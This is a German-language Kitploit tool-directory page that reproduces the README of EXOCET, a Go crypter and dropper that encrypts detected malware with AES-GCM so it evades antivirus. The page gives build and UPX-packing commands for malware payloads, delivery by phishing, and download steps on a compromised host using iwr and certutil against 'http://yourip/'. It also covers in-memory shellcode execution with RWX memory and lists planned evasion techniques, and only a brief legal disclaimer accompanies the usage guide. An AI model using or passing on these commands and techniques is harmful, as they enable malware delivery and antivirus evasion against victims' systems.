Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
EXOCET-AV-Evasion — EXOCET - AV-umgehendes, nicht erkennbares Payload-Auslieferungswerkzeug | Kitploit
Tools/GitHubGitHub/tanc7/exocet-av-evasion
Exploit-FrameworksPayload-GenerierungShellcodePost-ExploitationMalware-AnalyseKryptographiePenetrationstestsCommand and ControlLernen & BildungRed TeamingShellcode-GenerierungPayload-Entwicklung
838147vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubtanc7/exocet-av-evasion

EXOCET-AV-Evasion

EXOCET - AV-umgehendes, nicht erkennbares Payload-Auslieferungswerkzeug

Repository anzeigen

EXOCET - AV-umgehendes, unerkennbares Payload-Auslieferungstool

Chang Tan
AWS Certified Cloud Practitioner und Solutions Architect Associate
[email protected]


Aktualisierte EXOCET-Verwendung

Stellen Sie sicher, dass Sie Ihre Payloads packen, um Lecks des Crypters-Schlüssels zu vermeiden und Malware-Analysten weiter zu frustrieren. Ein kommerzieller High-End-Packer wie Themida ist NICHT erforderlich. Es würde ohne ein Code-Signing-Zertifikat noch mehr Verdacht erregen. Ohne Code-Signing-Zertifikat wird auf Windows-Systemen automatisch SmartScreen ausgelöst. Dies gilt für alle potenziell unerwünschten Programme oder „PUPs“, d. h. alle Malware-Payloads, Beacons, Geacons, Remote-Access-Trojaner usw. erfordern ein Code-Signing-Zertifikat. Ihr Geld ist besser für den Kauf eines Code-Signing-Zertifikats ausgegeben als für einen High-End-Packer.

root@kitploit:~
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe

Dann liefern Sie den Payload auf Ihr Ziel aus. Verwenden Sie dazu etwas wie eine Phishing-E-Mail, einen Link, oder wenn Sie bereits Shell-Zugriff haben, liefern Sie ihn aus, indem Sie z. B. Ihren eigenen Server lokal hosten python -m http.server 80' und führen Sie dann auf dem kompromittierten Rechner an einer PowerShell-Eingabeaufforderung aus: iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe" oder certutil.exe -urlcache -split -f http://yourip/outputmalware.exe und führen Sie dann mit outputmalware.exe aus



EXOCET ist den Modulen „Evasive Payloads“ von Metasploit überlegen, da EXOCET AES-256 im GCM-Modus (Galois/Counter Mode) verwendet. Metasploits Evasion Payloads verwendet eine leicht erkennbare RC4-Verschlüsselung. Während RC4 schneller entschlüsseln kann, ist es bei AES-256 wesentlich schwieriger, die Absicht der Malware zu ermitteln.

Es ist jedoch möglich, Metasploit zu verwenden, um einen Evasive Payload zu erstellen und diesen dann mit EXOCET zu verketten. EXOCET entschlüsselt dann mit AES-256, und der Metasploit Evasive Payload entschlüsselt sich selbst von RC4.

Ähnlich wie mein vorheriges Projekt DarkLordObama ist dieses Toolkit als Auslieferungs-/Startfahrzeug konzipiert, ähnlich wie Veil-Evasion.

Dark Lord Obama Project

EXOCET ist jedoch nicht auf eine einzelne Codebasis oder Plattformen beschränkt, die Python ausführen. EXOCET funktioniert auf ALLEN unterstützten Plattformen und Architekturen, die Go unterstützt.

Exocet Übersicht

EXOCET ist im Wesentlichen ein Malware-Dropper vom Crypter-Typ, der leicht erkennbare Payloads wie WannaCry recyceln, sie mit AES-GCM (Galois/Counter Mode) verschlüsseln kann, was sicherer ist als AES-CBC, und dann eine Dropper-Datei für die meisten Architekturen und Plattformen erstellt.

Grundsätzlich...

  1. Es nimmt gefährliche Malware auf, die jetzt von Antiviren-Engines erkannt wird
  2. Es verschlüsselt sie dann und erzeugt eine eigene Go-Datei
  3. Dann kann diese Go-Datei auf 99% der bekannten Architekturen cross-kompiliert werden
  4. Bei der Ausführung wird der verschlüsselte Payload auf die Festplatte geschrieben und sofort in der Befehlszeile ausgeführt
  5. Alternativ führt es anstelle eines Datei-Drops den rekonstituierten Shellcode im Speicher unter Verwendung des go-memexec-Moduls von amenzhinsky aus: github.com/amenzhinsky/go-memexec
  6. Ein benutzerdefinierter Shellcode-Executor ist in Arbeit, er nimmt gewöhnlichen C-Shellcode und führt ihn nach einer Num-Transformation aus, indem er einen neuen Prozess erstellt, nachdem der korrekte virtuelle Adressraum zugewiesen und ihm RWX-Berechtigungen unter Windows gewährt wurden

Das bedeutet 32-Bit- und 64-Bit-Architekturen, und es funktioniert unter Linux, Windows, Macs, Unix, Android, iPhone usw. Sie nehmen alles – und ich meine ALLES – wie den Morris-Wurm von 1988, der fast das Internet lahmgelegt hat (der eine Schwachstelle im fingerd-Listener-Daemon auf UNIX ausnutzte), und machen es wieder zu einer brauchbaren Cyberwaffe.

EXOCET ist vollständig in Go geschrieben.

Verwendung

EXOCET benötigt unabhängig von der verwendeten Binärdatei Golang zur Ausführung. Standardmäßig wird eine Crypter-.go-Datei generiert.

  1. Windows-Benutzer: Go hier installieren
  2. Linux-Benutzer: führen Sie sudo apt-get update && sudo apt-get install -y golang aus
  3. Sie müssen die EXOCET-Quelldateien in Golang installieren: go get github.com/tanc7/EXOCET-AV-Evasion
  4. Unteranforderungen werden ebenfalls heruntergeladen und installiert
  5. Für Windows- und Mac-x64-Benutzer befinden sich vorkompilierte Binärdateien im Ordner /bin

Um es auszuführen

go run EXOCET.go detectablemalware.exe outputmalware.go

Ein Schlüssel wird automatisch für Sie generiert. Der Schlüssel ist 64 Zeichen lang und besteht vollständig aus Bash- und cmd.exe-Shell-Pipe-Umleitungen, um Brute-Force-Versuche gegen den Schlüssel zu verwirren und zu stören, indem unvorhersehbares, zerstörerisches Verhalten auf dem Gerät des forensischen Analysten verursacht wird.

Für 64-Bit-Windows-Ziele...

env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go

Und es entsteht eine outputmalware.exe-Datei

Für 64-Bit-MacOS-Ziele

env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go

Für 64-Bit-Linux-Ziele

env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go

Siehe diese Referenz auf GitHub für Ihre Parameter für andere Betriebssysteme wie Android: Referenz für Go Cross-Kompilierung

Beachten Sie, dass der Schlüssel immer noch mit dem Befehl strings gefunden werden kann. Bitte verwenden Sie den Befehl upx-ucl, um die Binärdatei zu packen und den Schlüssel zu verbergen.

Darüber hinaus gibt es vorgefertigte Binärdateien, die ich erstellt habe, so dass Sie nur ./EXOCET oder EXOCET-Windows.exe ausführen müssen.

Rechtliche Hinweise

Ich, Chang Tan, und die Ersteller des Hauptmoduls und der Untermodule von Exocet sowie der darin enthaltenen Pakete sind NICHT verantwortlich für den Missbrauch dieses Tools. Dies ist lediglich ein Penetrationstest-Werkzeug. Es ist Ihnen strengstens untersagt, Exocet-Ausgabebinärdateien gegen unberechtigte geschützte Systeme oder unberechtigte geschützte Regierungssysteme einzusetzen.

Mir ist bewusst, dass Bedrohungsakteure der APT41 und der NSO Group Code aus diesem Tool verwendet und/oder übernommen haben, insbesondere die go-memexec-Methode. Sollte ich von Bundesermittlern bezüglich des Missbrauchs dieses Tools kontaktiert werden, übernehme ich keine Verantwortung.

Dies ist das Gleiche, was den Entwicklern von Mimikatz und PowerShell Empire widerfahren ist (die ihre eigene Entwicklung eingestellt haben, als ihnen die Nutzung durch Bedrohungsakteure bewusst wurde). Die Nachfolger haben die Entwicklung von Empire übernommen, und es gibt kostenlose Alternativen wie Covenant C2.

EXOCET live demo

Grund für den Namen

Am 4. Mai 1982, während des Falklandkriegs, startete eine Staffel argentinischer Super Etendards eine französische Exocet-Rakete auf die HMS Sheffield. Trotz der Versuche der Royal Navy, die Rakete zu stoppen, traf eine, die Sheffield versenkte. Dieser Vorfall brachte Argentinien buchstäblich auf die Landkarte als Machtdemonstration gegen eine globale Kolonialmacht.

Nachrichtenartikel über die Versenkung der HMS Sheffield

Ganz ähnlich, wie Onel de Guzmans Aktionen mit dem ILOVEYOU-Virus die Philippinen als Cyber-Bedrohung auf die Landkarte brachten.

ILOVEYOU-Virus auf Wikipedia

Kommendes Update, Anmerkungen und Ambitionen

.png)

Dieser Monat und der nächste Monat werden also ein arbeitsreicher Monat für mich, und es wird Verzögerungen bei der Implementierung dieser Methoden geben. Aber ich bin gespannt darauf, mit der Implementierung neuer AV-Evasion-Techniken zu beginnen, wie z. B.:

  1. Inline-Hooking
  2. Verschleierung durch Emulation von BlackRota und dem gobfuscate-Modul
  3. Process Hollowing
  4. Reflektive DLL-Injektion
  5. Remote Process Injection
  6. ThreadLocalStorage-Callbacks
  7. Registrierung von Top-Level-Exception-Handlern
  8. Benutzerdefiniertes UPX-Packing

Ich bin ein sehr beschäftigter Mann, ich habe die folgenden Prioritäten und möchte um etwas Hilfe bitten, um Pull-Requests, die das Projekt unterstützen. Da ich die folgenden Dinge zu erledigen habe:

  1. Ein Gerichtstermin Ende Oktober
  2. National Cyber League
  3. Buchhaltungs- und Finanzkurse, Informatik war NIE mein College-Hauptfach, und in den folgenden Wochen werde ich hintereinander Prüfungen haben
  4. Bundesauflagen zur Bewährung und die FBI, die versuchen, mich in neue unbewiesene Verbrechen zu verwickeln. Ich habe Dashcam-Videos, die ich in die Cloud hochgeladen habe, um dies zu beweisen, und die ich meinen Anwälten schicke. Ich habe mehrere Angriffe auf mich, Vandalismus an meinem Auto, meinem Haus dokumentiert, Polizeiberichte und Gegenberichte eingereicht und werde meinen Fall für eine Bundesklage aufbauen. Einer der Täter, der meine vordere Stoßstange an meinem Auto abgerissen hat, wurde verhaftet.
  5. Ein privates Projekt, das die Interaktion mit der CoinGeckoAPI beinhaltet
  6. Betreiben der cryptoscopeinitiative.org, einer noch einzureichenden 501c3-Non-Profit-Organisation
  7. Unterrichten von drei Online-Kursen über Exploit-Entwicklung

Kommendes Update! Direkte verschlüsselte Shellcode-Ausführung! (In Testversionen implementiert, noch nicht veröffentlicht)

Ich brauche ein wenig Hilfe, weil ich CGO erfolgreich implementiert habe, um verschlüsselten Shellcode auszuführen, aber es wirft Speicherzugriffsverletzungen Exit-Status 0xc0000005. Es sollte nichts mit DEP (Data Execution Prevention) zu tun haben, da die Datei CGOTest/working-template-shellcode-executor.go lief.

Problem entdeckt

Wie sich herausstellt, muss VirtualAlloc von kernel32.dll und ntdll.dll aufgerufen werden, um die Speicherseite, auf der der Shellcode landet, korrekt lesbar, beschreibbar und ausführbar zu machen, mit anderen Worten, PAGE_EXECUTE_READWRITE auf ON setzen. Lesen Sie den Hinweis zum Speicherzugriffsverletzungsproblem unten.

Sobald ich das herausgefunden habe – CGO war eine Qual zu implementieren – können wir jetzt Crypters erstellen, die INLINE-ASSEMBLY ausführen. Was bis jetzt als unmöglich galt.

Beachten Sie, dass Golang und die MinGW-Toolchain unter Windows installiert sein müssen, und Sie den Shellcode unter Windows ausführen und generieren müssen. Der Grund dafür ist, dass CGO nicht wie unsere anderen EXOCET-Module cross-kompiliert werden kann. Um die Toolchain zu installieren, müssen Sie zu https://www.msys2.org/ gehen und der Anleitung folgen. Dann müssen Sie gcc zu Ihren Umgebungsvariablen in Windows hinzufügen.

Schritt 1: Shellcode generieren, dies könnte von msfvenom Meterpreter Payloads, Cobalt Strike Beacons oder Ihrem eigenen benutzerdefinierten Shellcode in C-kompatiblem Format sein

Schritt 2: Kopieren Sie nur die Bytes des Shellcodes, ohne die Anführungszeichen, in eine Textdatei wie sc.txt

Schritt 3: Ihre Shellcode-Datei sollte so aussehen. Roher Shellcode

Schritt 4: Führen Sie nun den Befehl go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY aus

Schritt 5: Sie können versuchen, es auszuführen, aber Sie werden aus irgendeinem Grund auf Speicherzugriffsverletzungsfehler stoßen, an denen ich noch arbeite

Hinweis zum Speicherzugriffsverletzungsproblem

Anscheinend ist das Problem neben den großen Einschränkungen von CGO, die Cross-Kompilierung verbieten oder erheblich erschweren, dass der Shellcode, den wir ausführen möchten, in einem Speicherbereich landet (analysiert in WinDBG x64), der nicht RWX ist. Mit anderen Worten, solange wir keinen C-Code schreiben, der explizit die Ausführung des Shellcodes im Speicher erlaubt, wird es immer Zugriffsverletzungsfehler geben.

Die andere Methode, die ich bei anderen Entwicklern rudimentärer Go-Module beobachtet habe https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d, ist, dass sie die Windows-API von Go verwenden, um mit ntdll.dll und kernel32.dll zu interagieren, um VirtualAlloc aufzurufen und Bereiche von RWX-Speicherseiten anzugeben. Diese Methode funktioniert besser, aber es scheint, dass der Shellcode nur im num-transformierten Format vorliegen muss, damit es funktioniert.

Ich arbeite noch daran, Leute. Ich werde möglicherweise mehrere Programmiersprachen kombinieren, um ein ordentliches Shellcode-Ausführungsmodul zu schreiben.

Hinweis zu Apple M1-Chips für vorkompilierte Binärdateien

Leider stoße ich auf Fehler beim Erstellen einer vorkompilierten Binärdatei für MacBooks mit den neuen M1-CPUs. Es könnte ein Problem mit meiner Golang-Installation sein.

root@kitploit:~
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go 
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status

Wie auch immer, Sie benötigen weiterhin Golang, um die Malware für die Zielplattform zu kompilieren oder cross-kompilieren.

Tool herunterladen